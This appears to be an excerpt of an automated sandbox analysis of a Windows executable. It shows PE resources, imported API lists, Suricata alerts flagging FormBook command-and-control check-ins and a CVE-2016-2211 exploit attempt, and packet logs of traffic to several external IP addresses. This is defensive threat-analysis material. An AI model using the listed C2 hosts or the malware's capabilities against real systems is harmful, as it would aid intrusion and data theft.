RT_ICON	0xab940	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	Great Britain	0.48109756097560974
RT_ICON	0xabfa8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	Great Britain	0.5672043010752689
RT_ICON	0xac290	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	Great Britain	0.6418918918918919
RT_ICON	0xac3b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	Great Britain	0.7044243070362474
RT_ICON	0xad260	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	Great Britain	0.8077617328519856
RT_ICON	0xadb08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	Great Britain	0.5903179190751445
RT_ICON	0xae070	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.5503112033195021
RT_ICON	0xb0618	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.6050656660412758
RT_ICON	0xb16c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.7553191489361702
RT_MENU	0xb1b28	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xb1b78	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xb1c78	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xb21a8	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xb2838	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xb2d08	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xb3308	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xb3968	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xb3cf0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xb3e48	0x84	data	English	Great Britain	0.6439393939393939
RT_GROUP_ICON	0xb3ed0	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xb3ee8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xb3f00	0x14	data	English	Great Britain	1.25
RT_VERSION	0xb3f18	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xb40b8	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T15:27:11.595847+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.8	49704	TCP
2024-11-07T15:27:37.582756+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49710	3.33.130.190	80	TCP
2024-11-07T15:27:37.582756+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49710	3.33.130.190	80	TCP
2024-11-07T15:27:50.811528+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.8	49711	TCP
2024-11-07T15:27:53.493743+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49712	74.208.236.25	80	TCP
2024-11-07T15:27:55.903448+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49713	74.208.236.25	80	TCP
2024-11-07T15:27:58.408291+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49714	74.208.236.25	80	TCP
2024-11-07T15:28:00.989412+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49715	74.208.236.25	80	TCP
2024-11-07T15:28:00.989412+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49715	74.208.236.25	80	TCP
2024-11-07T15:28:06.681366+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49727	3.33.130.190	80	TCP
2024-11-07T15:28:09.292827+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49742	3.33.130.190	80	TCP
2024-11-07T15:28:11.773840+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49758	3.33.130.190	80	TCP
2024-11-07T15:28:14.389343+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49775	3.33.130.190	80	TCP
2024-11-07T15:28:14.389343+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49775	3.33.130.190	80	TCP
2024-11-07T15:28:20.067997+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49807	3.33.130.190	80	TCP
2024-11-07T15:28:22.624290+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49822	3.33.130.190	80	TCP
2024-11-07T15:28:25.156568+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49838	3.33.130.190	80	TCP
2024-11-07T15:28:27.776036+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49851	3.33.130.190	80	TCP
2024-11-07T15:28:27.776036+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49851	3.33.130.190	80	TCP
2024-11-07T15:28:47.802064+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49955	3.33.130.190	80	TCP
2024-11-07T15:28:50.411846+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49969	3.33.130.190	80	TCP
2024-11-07T15:28:52.899048+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49981	3.33.130.190	80	TCP
2024-11-07T15:28:55.479688+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49993	3.33.130.190	80	TCP
2024-11-07T15:28:55.479688+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49993	3.33.130.190	80	TCP
2024-11-07T15:29:01.378338+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49994	199.192.19.19	80	TCP
2024-11-07T15:29:03.932155+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49995	199.192.19.19	80	TCP
2024-11-07T15:29:06.449463+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49996	199.192.19.19	80	TCP
2024-11-07T15:29:09.004729+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	49997	199.192.19.19	80	TCP
2024-11-07T15:29:09.004729+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	49997	199.192.19.19	80	TCP
2024-11-07T15:29:14.989019+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49998	208.91.197.27	80	TCP
2024-11-07T15:29:17.523090+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	49999	208.91.197.27	80	TCP
2024-11-07T15:29:20.065290+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50000	208.91.197.27	80	TCP
2024-11-07T15:29:23.075547+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	50001	208.91.197.27	80	TCP
2024-11-07T15:29:23.075547+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	50001	208.91.197.27	80	TCP
2024-11-07T15:29:29.814343+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50002	156.242.132.82	80	TCP
2024-11-07T15:29:32.709103+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50003	156.242.132.82	80	TCP
2024-11-07T15:29:35.365443+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50004	156.242.132.82	80	TCP
2024-11-07T15:29:44.886986+0100	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.8	50005	156.242.132.82	80	TCP
2024-11-07T15:29:44.886986+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.8	50005	156.242.132.82	80	TCP
2024-11-07T15:29:58.903671+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50006	84.32.84.32	80	TCP
2024-11-07T15:30:02.614463+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.8	50007	84.32.84.32	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 15:27:36.924614906 CET	49710	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:27:36.929506063 CET	80	49710	3.33.130.190	192.168.2.8
Nov 7, 2024 15:27:36.929614067 CET	49710	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:27:36.937261105 CET	49710	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:27:36.942269087 CET	80	49710	3.33.130.190	192.168.2.8
Nov 7, 2024 15:27:37.581988096 CET	80	49710	3.33.130.190	192.168.2.8
Nov 7, 2024 15:27:37.582618952 CET	80	49710	3.33.130.190	192.168.2.8
Nov 7, 2024 15:27:37.582756042 CET	49710	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:27:37.585664034 CET	49710	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:27:37.590668917 CET	80	49710	3.33.130.190	192.168.2.8
Nov 7, 2024 15:27:52.680191040 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:52.685164928 CET	80	49712	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:52.685261011 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:52.695770025 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:52.700757027 CET	80	49712	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:53.493556976 CET	80	49712	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:53.493623018 CET	80	49712	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:53.493742943 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:53.493849039 CET	80	49712	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:53.493902922 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:54.209444046 CET	49712	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:55.228080988 CET	49713	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:55.232994080 CET	80	49713	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:55.233113050 CET	49713	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:55.243988991 CET	49713	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:55.248884916 CET	80	49713	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:55.885152102 CET	80	49713	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:55.903393030 CET	80	49713	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:55.903448105 CET	49713	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:56.756316900 CET	49713	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:57.774810076 CET	49714	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:57.779633999 CET	80	49714	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:57.779733896 CET	49714	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:57.790715933 CET	49714	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:57.796350002 CET	80	49714	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:57.796365023 CET	80	49714	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:58.397226095 CET	80	49714	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:58.408092976 CET	80	49714	74.208.236.25	192.168.2.8
Nov 7, 2024 15:27:58.408291101 CET	49714	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:27:59.303002119 CET	49714	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.321836948 CET	49715	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.326775074 CET	80	49715	74.208.236.25	192.168.2.8
Nov 7, 2024 15:28:00.326870918 CET	49715	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.333995104 CET	49715	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.338849068 CET	80	49715	74.208.236.25	192.168.2.8
Nov 7, 2024 15:28:00.977595091 CET	80	49715	74.208.236.25	192.168.2.8
Nov 7, 2024 15:28:00.989239931 CET	80	49715	74.208.236.25	192.168.2.8
Nov 7, 2024 15:28:00.989412069 CET	49715	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.990360022 CET	49715	80	192.168.2.8	74.208.236.25
Nov 7, 2024 15:28:00.995189905 CET	80	49715	74.208.236.25	192.168.2.8
Nov 7, 2024 15:28:06.040293932 CET	49727	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:06.045236111 CET	80	49727	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:06.045331001 CET	49727	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:06.056727886 CET	49727	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:06.062057972 CET	80	49727	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:06.681296110 CET	80	49727	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:06.681365967 CET	49727	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:07.568536997 CET	49727	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:07.574039936 CET	80	49727	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:08.587238073 CET	49742	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:08.592223883 CET	80	49742	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:08.592327118 CET	49742	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:08.602761030 CET	49742	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:08.607718945 CET	80	49742	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:09.292717934 CET	80	49742	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:09.292826891 CET	49742	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:10.115457058 CET	49742	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:10.121149063 CET	80	49742	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:11.134439945 CET	49758	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:11.139575005 CET	80	49758	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:11.139719009 CET	49758	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:11.150594950 CET	49758	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:11.155594110 CET	80	49758	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:11.155608892 CET	80	49758	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:11.773744106 CET	80	49758	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:11.773839951 CET	49758	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:12.662410975 CET	49758	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:12.667247057 CET	80	49758	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:13.681072950 CET	49775	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:13.686093092 CET	80	49775	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:13.686213970 CET	49775	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:13.693474054 CET	49775	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:13.698308945 CET	80	49775	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:14.356386900 CET	80	49775	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:14.389177084 CET	80	49775	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:14.389343023 CET	49775	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:14.390249968 CET	49775	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:14.395235062 CET	80	49775	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:19.426785946 CET	49807	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:19.431659937 CET	80	49807	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:19.431761980 CET	49807	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:19.442677021 CET	49807	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:19.447555065 CET	80	49807	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:20.067858934 CET	80	49807	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:20.067996979 CET	49807	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:20.959146023 CET	49807	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:20.964093924 CET	80	49807	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:21.977859974 CET	49822	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:21.983985901 CET	80	49822	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:21.984083891 CET	49822	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:21.994709969 CET	49822	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:21.999627113 CET	80	49822	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:22.624198914 CET	80	49822	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:22.624289989 CET	49822	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:23.506098986 CET	49822	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:23.510865927 CET	80	49822	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:24.524873018 CET	49838	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:24.529762983 CET	80	49838	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:24.529875040 CET	49838	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:24.540694952 CET	49838	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:24.545723915 CET	80	49838	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:24.545737982 CET	80	49838	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:25.156512976 CET	80	49838	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:25.156568050 CET	49838	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:26.052872896 CET	49838	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:26.057718992 CET	80	49838	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:27.071655035 CET	49851	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:27.076504946 CET	80	49851	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:27.076582909 CET	49851	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:27.083715916 CET	49851	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:27.088620901 CET	80	49851	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:27.743560076 CET	80	49851	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:27.775923014 CET	80	49851	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:27.776036024 CET	49851	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:27.777091980 CET	49851	80	192.168.2.8	3.33.130.190
Nov 7, 2024 15:28:27.782174110 CET	80	49851	3.33.130.190	192.168.2.8
Nov 7, 2024 15:28:47.154922009 CET	49955	80	192.168.2.8	3.33.130.190
